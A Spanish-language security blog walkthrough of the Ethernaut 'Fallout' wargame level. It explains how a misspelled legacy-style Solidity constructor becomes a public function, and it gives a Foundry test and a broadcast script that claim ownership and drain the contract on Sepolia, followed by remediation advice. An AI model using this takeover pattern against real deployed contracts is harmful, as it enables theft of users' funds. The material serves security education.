← Volver al blog
Mike B. - SecLat Security14 de agosto de 2026

Ethernaut Level 2 Walkthrough: Explotando un Constructor Mal Nombrado en Solidity

En este artículo analizaremos y resolveremos el reto número 2 de Ethernaut: Fallout.

Este nivel parece un simple error de tipeo, pero enseña una lección que le ha costado dinero real a protocolos reales: un constructor que no coincide exactamente con el nombre del contrato no es un constructor, es una función pública que cualquiera puede llamar.

Además de resolver el reto, también entenderemos:

  • Cómo funcionaban los constructores antiguos en Solidity antes de la palabra clave constructor
  • Por qué un constructor mal escrito se convierte en una puerta trasera pública
  • Cómo validar el exploit usando Foundry y Sepolia
  • Cómo defenderse correctamente

Si eres desarrollador, este artículo te ayudará a entender por qué el Solidity moderno obliga a usar la palabra clave constructor en lugar de depender de una convención de nombres.

Si te interesa la seguridad de smart contracts, este reto conecta directamente con un incidente real: el hackeo de Rubixi.

Descripción del Reto

El contrato lleva un registro de asignaciones de ETH por dirección y tiene un dueño (owner).

Solo el dueño puede recolectar el balance completo del contrato mediante collectAllocations().

El objetivo del reto es:

Reclamar la propiedad del contrato.

Clasificación de la Vulnerabilidad

CategoríaValor
Vulnerabilidad:Constructor mal nombrado (convención de nombres heredada)
Causa Raíz:El nombre de la función pensada como constructor no coincide con el nombre del contrato
Impacto:Toma de control total y pérdida de todos los fondos
Severidad:Crítica
Tipo de Ataque:Función pública haciéndose pasar por constructor

Análisis del Contrato Vulnerable

Este es el contrato vulnerable utilizado en el reto:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;

    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

Causa Raíz de la Vulnerabilidad

Observa con atención la función que debía actuar como constructor:

function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
}

El contrato se llama Fallout, con ele minúscula. La función se llama Fal1out, con el dígito 1 en lugar de la letra l. Es un solo carácter de diferencia.

Antes de Solidity 0.4.22, el lenguaje no tenía la palabra clave constructor. Una función se ejecutaba una sola vez, automáticamente, al desplegar el contrato, solo si su nombre coincidía exactamente con el nombre del contrato. Cualquier diferencia, incluso de un carácter, hacía que la función dejara de ser especial. Se convertía en una función pública normal, que cualquiera podía llamar, en cualquier momento, tantas veces como quisiera.

Aquí el pragma es ^0.6.0, que exige la palabra clave constructor para los constructores reales. Así que Fal1out() nunca se iba a ejecutar automáticamente de todas formas. Es simplemente una función pública y payable que asigna owner = msg.sender.

Esto viola uno de los principios de seguridad más básicos en Solidity:

El código que debe ejecutarse exactamente una vez, con privilegios especiales, debe ser garantizado por el compilador, no por una convención de nombres que el desarrollador tiene que acertar a mano.

Entendiendo los Constructores Mal Nombrados

Esta clase de vulnerabilidad sigue un patrón simple:

  1. El desarrollador intenta escribir un constructor usando la convención heredada de coincidencia de nombres.
  2. El nombre de la función no coincide exactamente con el nombre del contrato, por un error de tipeo, un renombramiento, o un refactor.
  3. El compilador no trata la función como constructor, porque los nombres difieren.
  4. La función queda pública y llamable por cualquiera, para siempre.
  5. Cualquier persona puede llamarla para reclamar privilegios que debían asignarse una sola vez durante el despliegue.

El flujo se ve así:

deploy Fallout
    └── el constructor nunca se ejecuta (nombre no coincide)
            └── Fal1out() queda expuesta como función pública normal
                    └── el atacante llama a Fal1out()
                            └── el atacante se convierte en owner
                                    └── el atacante llama a collectAllocations()

Este mismo patrón causó un incidente real en la historia temprana de Ethereum: el contrato Rubixi. Originalmente se llamaba DynamicPyramid, y su constructor tenía un nombre que coincidía. Cuando el desarrollador renombró el contrato a Rubixi, olvidó renombrar la función del constructor. El constructor antiguo quedó como una función pública que permitía a cualquiera reclamar la propiedad y redirigir los pagos de comisiones hacia sí mismo.

¿Por Qué la Convención Heredada de Constructores es Peligrosa?

Depender de una coincidencia de nombres para definir lógica privilegiada, que debe ejecutarse una sola vez, pone la seguridad de todo el contrato en manos de una convención manual.

Esa convención se rompe silenciosamente en situaciones comunes:

  • Renombrar el contrato durante el desarrollo sin actualizar el nombre del constructor.
  • Copiar y pegar un contrato como plantilla y olvidar renombrar el constructor.
  • Un simple error de tipeo, como en este reto, donde la l se convierte en 1.

Ninguno de estos errores produce un error de compilación en versiones antiguas de Solidity. El contrato se despliega exitosamente. Parece correcto. La única señal de que algo está mal es que el "constructor" sigue apareciendo como una función normal en el ABI, llamable después del despliegue.

Solidity 0.4.22 introdujo la palabra clave constructor específicamente para cerrar esta clase de vulnerabilidad. Una función declarada con constructor no puede volver a llamarse después del despliegue, y no hay ningún nombre que se pueda escribir mal.

Estrategia del Ataque

Ahora que entendemos la vulnerabilidad, podemos diseñar el exploit.

Sabemos que:

  1. Fal1out() es una función pública y payable, no un constructor real.
  2. Cualquiera puede llamarla en cualquier momento después del despliegue.
  3. Llamarla asigna owner = msg.sender para quien la invoque.
  4. collectAllocations() envía todo el balance del contrato al dueño actual.

Por lo tanto, nuestra estrategia será:

  1. Llamar a Fal1out() directamente desde nuestra propia wallet para convertirnos en el dueño.
  2. Llamar a collectAllocations() directamente para drenar el balance del contrato.

Cómo Funciona el Exploit

El ataque es directo y no requiere ETH, sincronización, recursión, ni ningún contrato intermedio.

Primero:

  1. Llamamos a Fal1out() en el contrato objetivo directamente desde nuestra wallet.
  2. Como el nombre de la función no coincide con el nombre del contrato y el pragma exige la palabra clave constructor, esto se trata como una llamada de función normal.
  3. El contrato objetivo asigna owner = msg.sender, que ahora es nuestra propia dirección.

Luego:

  1. Llamamos a collectAllocations() directamente.
  2. El modificador onlyOwner valida msg.sender == owner, que ahora se cumple.
  3. El contrato objetivo transfiere todo su balance a nuestra wallet.

Validando el Exploit con Foundry

Después de clonar el repositorio de Ethernaut localmente, podemos crear un test con Foundry para validar el exploit.

// SPDX-License-Identifier: MIT
// Fallout_L2.t.sol
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {DummyFactory} from "src/levels/DummyFactory.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

interface Fallout {
    function Fal1out() external payable;
    function collectAllocations() external;
    function owner() external view returns (address);
}

contract TestFallout_L2 is Test, Utils {
    Ethernaut ethernaut;
    Fallout instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);
        owner = users[0];
        vm.label(owner, "Owner");
        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        DummyFactory factory = DummyFactory(getOldFactory("FalloutFactory"));
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Fallout(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
        vm.stopPrank();
    }

    function testInit() public {
        vm.startPrank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
    }

    function testSolve() public {
        vm.startPrank(player);

        // Sin contrato atacante: el player llama directamente al
        // "constructor" mal nombrado, y luego drena el balance directamente.
        instance.Fal1out();
        instance.collectAllocations();

        assertTrue(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }
}

Ejecutando el Test

Para ejecutar el test del exploit en un fork de Sepolia, ejecuta:

forge test --mp Fallout_L2.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vvv

Debes configurar la variable SEPOLIA_RPC dentro de tu archivo .env.

Si la terminal no reconoce la variable, ejecuta:

source .env

Una vez ejecutada, podremos verificar que nuestra propia dirección de prueba quedó como dueño y que el balance del contrato objetivo se movió hacia ella.

Resolviendo el Nivel en Sepolia

Ahora crearemos un script para ejecutar el exploit directamente contra la instancia de Ethernaut. No hay ningún contrato atacante que desplegar: el script transmite dos llamadas directamente desde nuestra propia cuenta.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";

interface Fallout {
    function Fal1out() external payable;
    function collectAllocations() external;
    function owner() external view returns (address);
}

contract FalloutScript is Script {
    Fallout public target;

    function setUp() public {
        target = Fallout(payable("0xYourEthernautInstance"));
    }

    function run() public {
        vm.startBroadcast();
        target.Fal1out();
        target.collectAllocations();
        console.log("Nuevo owner:", target.owner());
        console.log("Balance del target:", address(target).balance);
        vm.stopBroadcast();
    }
}

Ejecutando el Script

Primero ejecutamos el script localmente:

forge script scripts/Fallout.s.sol --rpc-url $SEPOLIA_RPC

Si todo funciona correctamente, podemos enviarlo a Sepolia:

forge script scripts/Fallout.s.sol --rpc-url $SEPOLIA_RPC --broadcast \
--interactives 1 -vvv

Una vez que el exploit finalice, nuestra propia cuenta que transmitió las llamadas será el dueño del contrato vulnerable y el nivel quedará resuelto, solo tienes que enviar la instancia en la página de Ethernaut.

Cómo Prevenir esta Vulnerabilidad

La defensa central es no depender nunca de una convención de nombres para lógica privilegiada que debe ejecutarse una sola vez.

Usa la palabra clave constructor

Desde Solidity 0.4.22, los constructores deben declararse con la palabra clave constructor. No hay ningún nombre que se pueda escribir mal, y el compilador garantiza que la lógica se ejecute exactamente una vez, al desplegar:

constructor() payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
}

Trata los contratos heredados como alto riesgo

Cualquier contrato todavía escrito contra versiones de Solidity anteriores a 0.4.22, o copiado de una plantilla antigua, debe revisarse específicamente en busca de constructores por coincidencia de nombres. Es una verificación barata y de alto valor durante una auditoría.

Agrega guardas explícitas de inicialización donde aplique

Para contratos actualizables que usan patrones initialize() en lugar de constructores, siempre combínalos con un modificador initializer, como el de Initializable de OpenZeppelin, para evitar que la función de inicialización se pueda llamar más de una vez.

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract Secure is Initializable {
    function initialize() external initializer {
        // se ejecuta una sola vez, garantizado por el compilador
    }
}

Lecciones Aprendidas

Este reto demuestra que un solo carácter puede ser toda la diferencia entre un contrato seguro y una toma de control abierta.

Lecciones clave de este nivel:

  • Nunca dependas de convenciones de nombres para definir lógica privilegiada que se ejecuta una sola vez.
  • Usa siempre la palabra clave constructor, nunca una función que solo coincide con el nombre del contrato.
  • Revisa contratos heredados o copiados en busca de este patrón específicamente.
  • Trata cualquier función que asigne owner, roles, o estado crítico como de alto riesgo durante la revisión.
  • Incidentes reales, como el hackeo de Rubixi, demuestran que esta no es una clase de bug teórica.

Conclusión

En este reto explotamos un constructor mal nombrado que nunca se ejecutó automáticamente, quedando expuesto como una función pública que cualquiera podía llamar para reclamar la propiedad.

Llamamos al falso constructor directamente desde nuestra propia wallet para convertirnos en el dueño, y luego drenamos el contrato a través de la función collectAllocations(), ahora accesible. No necesitamos ningún contrato atacante en ningún momento, porque la función vulnerable nunca validó quién la estaba llamando.

Este nivel es una excelente introducción a:

  • Convenciones heredadas de constructores en Solidity
  • Errores de nombres silenciosos e invisibles para el compilador
  • Incidentes reales causados por errores de tipeo simples
  • Reconocer cuándo una función "protegida" no tiene ninguna protección real
  • Patrones seguros de inicialización
  • Metodologías de explotación del mundo real

Puedes encontrar más contenido sobre seguridad Web3 en nuestro blog.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.